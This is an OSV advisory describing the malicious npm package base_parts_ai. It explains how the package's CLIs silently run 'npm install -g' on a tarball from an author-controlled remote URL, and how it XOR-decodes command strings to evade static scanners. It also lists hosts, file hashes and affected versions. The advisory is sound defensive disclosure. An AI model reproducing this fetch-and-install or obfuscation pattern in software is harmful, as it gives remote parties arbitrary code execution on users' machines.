MAL-2026-6228

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/base_parts_ai/MAL-2026-6228.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6228
Published
2026-06-19T15:59:03Z
Modified
2026-11-23T00:45:04Z
Summary
Malicious code in base_parts_ai (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (40d21c9d5a6b5da4ede94075ed2f4dde196fab0a47be0b2908993d5a24519417)

On every invocation of the package's CLIs (jcc/jcx/ucx/jgrok and related entry points), lib/ai_utils.js fetches a JSON config from https://jai.jaskle.cn/hm/hm_pub/ai_cc_cfg and reads a server-supplied newVer field. When newVer is greater than the installed version, the code builds a tarball URL of the form https://jdwfiles.oss-cn-hangzhou.aliyuncs.com/npm_pkg/base_parts_ai-.tgz and passes it to pkgCmd.execGlobalCmd, which runs npm install -g <tgz-url> --registry=https://registry.npmmirror.com --force. The user confirmation prompt is commented out and the confirmed flag is hardcoded to "yes", so the global install proceeds without interaction. The update source is not the npm registry — it is a mutable author-controlled Aliyun OSS object whose contents can be changed server-side at any time with no registry review, no version pinning, and no hash or signature check. lib/pkg_cmd.js additionally constructs the strings 'npm install', '--registry=', and '--force' at runtime by XOR-decoding (String.fromCharCode(b ^ 0x5A)) hardcoded byte arrays rather than storing the commands as plain literals, concealing the install mechanism from static scanners. Running any CLI from this package therefore causes global installation of whatever bytes the author (or anyone who compromises jai.jaskle.cn or the jdwfiles Aliyun OSS bucket) serves at that URL at that moment, yielding arbitrary code execution on the installer's machine.

Database specific
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-007088",
            "import_time":  "2026-06-19T16:53:21.531223536Z",
            "modified_time":  "2026-06-19T15:59:06Z",
            "sha256":  "07b0e2bcf47f6720470181fe18dda70621d52a4fb65fec395a87e14ec39c5219",
            "source":  "amazon-inspector",
            "versions":  [
                "1.0.52"
            ]
        },
        {
            "id":  "IN-MAL-2026-007087",
            "import_time":  "2026-06-19T16:53:21.458464474Z",
            "modified_time":  "2026-06-19T15:59:03Z",
            "sha256":  "9cc65c2ae1b0b729887f0f0a01e3719768e4f30ac6d3e314605076c75cdb3866",
            "source":  "amazon-inspector",
            "versions":  [
                "1.0.50"
            ]
        },
        {
            "id":  "IN-MAL-2026-022899",
            "import_time":  "2026-11-20T01:12:26.254543095Z",
            "modified_time":  "2026-11-20T01:06:10Z",
            "sha256":  "fff17288238c016977779f5edcefc3ef3d8d29832bbd58d9ae8489cea442d4dd",
            "source":  "amazon-inspector",
            "versions":  [
                "1.0.66"
            ]
        },
        {
            "id":  "IN-MAL-2026-023034",
            "import_time":  "2026-11-23T00:32:40.298118674Z",
            "modified_time":  "2026-11-22T23:59:26Z",
            "sha256":  "40d21c9d5a6b5da4ede94075ed2f4dde196fab0a47be0b2908993d5a24519417",
            "source":  "amazon-inspector",
            "versions":  [
                "1.0.67"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / base_parts_ai

Package

Name
base_parts_ai
View open source insights on deps.dev
Purl
pkg:npm/base_parts_ai

Affected ranges

Affected versions

1.*
1.0.50
1.0.52
1.0.66
1.0.67

Database specific

cwes
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files":  [
        {
            "path":  "lib/ai_utils.js",
            "sha256":  "391a902f103a53c275ee65b778f76eb73896cd8913baa27066862fd09bf5c2d8",
            "tlsh":  "2e62e9ee2ceb6053806b71394bdf910670696a03021de614fa6de3a41ffcb6581b5fd8"
        },
        {
            "path":  "lib/setapi_cc.js",
            "sha256":  "98c28843fea4796b7b405fbea772bc14d9ff34fa5d89cb86b021be10aa5fddcc",
            "tlsh":  "5e22c6aa48f6087958d422719bef51462265d6030328f8307bbec3554fd8ac647f97fb"
        },
        {
            "path":  "package.json",
            "sha256":  "09ebe29fa9a187ec06ee2721da03d13fc97b317dac75b86520d9b1cf07edfdce",
            "tlsh":  "46f0f628c8b05eb319cd9dd85c1e514a64744c032a8cbd2d37f3465c0f8e36b25ba29a"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "base_parts_ai-1.0.52.tgz",
            "hashes":  {
                "sha1":  "68a265076284109dce83f178402094a79b61c89a",
                "sha512_sri":  "sha512-A2QfiW+1YAlV4N61Yqo3F81Ls4vsZ0wM+YZ9ocl7VyXi1IYwTKrlqTBGfB/HUVRb9OJD9KPhLL9Xk6DfB29QFQ=="
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/base_parts_ai/MAL-2026-6228.json"